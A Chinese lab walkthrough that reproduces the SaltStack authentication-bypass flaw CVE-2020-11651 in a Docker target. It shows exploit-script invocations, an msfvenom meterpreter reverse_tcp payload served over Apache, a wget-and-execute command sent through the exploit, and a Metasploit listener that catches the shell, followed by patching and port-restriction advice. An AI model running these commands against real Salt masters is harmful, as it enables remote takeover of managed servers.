SaltStack认证绕过漏洞(CVE-2020-11651)复现

1.简介

SaltStack是基于Python开发的一套C/S架构配置管理工具,是一个服务器基础架构集中化管理平台,具备配置管理、远程执行、监控等功能,基于Python语言实现,结合轻量级消息队列(ZeroMQ)与Python第三方模块(Pyzmq、PyCrypto、Pyjinjia2、python-msgpack和PyYAML等)构建。

通过部署SaltStack,运维人员可以在成千万台服务器上做到批量执行命令,根据不同业务进行配置集中化管理、分发文件、采集服务器数据、操作系统基础及软件包管理等,SaltStack是运维人员提高工作效率、规范业务配置与操作的利器。

2.概述

CVE-2020-11651:认证绕过漏洞,攻击者通过构造恶意请求,绕过Salt Master的验证逻辑,调用相关未授权函数功能,达到远程命令执行目的。

3.漏洞影响范围

4.修复版本

5.漏洞复现

1.环境说明:

2.拉取镜像

1
docker pull vulfocus/saltstack-cve_2020_11651

拉取镜像的过程可能有点慢,建议配置docker镜像加速器;

因为我已经拉取过镜像,所以直接下一步;

3.启动镜像

1
docker run -d -p 4506:4506 -p 4505:4505 vulfocus/saltstack-cve_2020_11651

查看docker是否开启

1
docker ps

环境启动成功

4.漏洞利用

1.安装 python salt模块

1
pip3 install salt

查看是否已成功安装 salt

1
pip3 list

2.exp使用方法

1
python3 CVE-2020-11651.py

3.尝试读取文件

4.尝试反弹shell

1.常规方式反弹shell失败

尝试很多方法,更换exp,更改反弹端口号,但是都没有成功~

2.寻找失败原因

找了很久终于找到一篇文章,无法反弹shell的原因可能是搭建的docker环境中不存在nc命令

测试靶机发现已安装nc命令

3.上传木马

按照文章中的方法:

更换exp: https://github.com/dozernz/cve-2020-11651

然后尝试在攻击机生成一个木马,名为test

1
msfvenom -a x64 --platform linux -p linux/x64/meterpreter/reverse_tcp  LHOST=192.168.190.129 LPORT=6666  -i 3 -f elf -o test

开启攻击机Apache:

1
/etc/init.d/apache2 start

查看apache是否开启

1
service apache2 status

复制木马到apache网站根目录

1
cp test /var/www/html/test

利用exp执行命令进行远程下载: (报错是exp脚本问题)

1
python3 CVE-2020-11651.py 192.168.190.128 master 'wget http://192.168.190.129/test|./test'

远程下载木马

添加执行权限

1
python3 CVE-2020-11651.py 192.168.190.128 master 'chmod +x test |./test'

添加执行权限

4.开启监听

1.开始msf

1
msfconsole

开启msf

2.加载模块

1
use exploit/multi/handler 

加载模块

3.设置payload

1
set payload linux/x64/meterpreter/reverse_tcp

设置payload

4.设置监听IP&Port

1
2
3
set lhost 192.168.190.129

set lport 6666

设置IP&端口

5.执行

1
exploit

执行

6.远程执行靶机上的木马

1
python3 CVE-2020-11651.py 192.168.190.128 master './test'

远程执行木马

7.成功获得会话

成功获得会话

6.漏洞修复方案

  1. SaltStack官方已发布最新版本修复此漏洞,相关用户及时更新至安全版本及其以上,升级前做好快照备份。
  2. 开启SaltStack自动更新,实时获取补丁或升级至安全版本。
  3. 禁止将Salt Master默认监听端口(4505、4506)向公网开放,设置为仅对可信对象开放。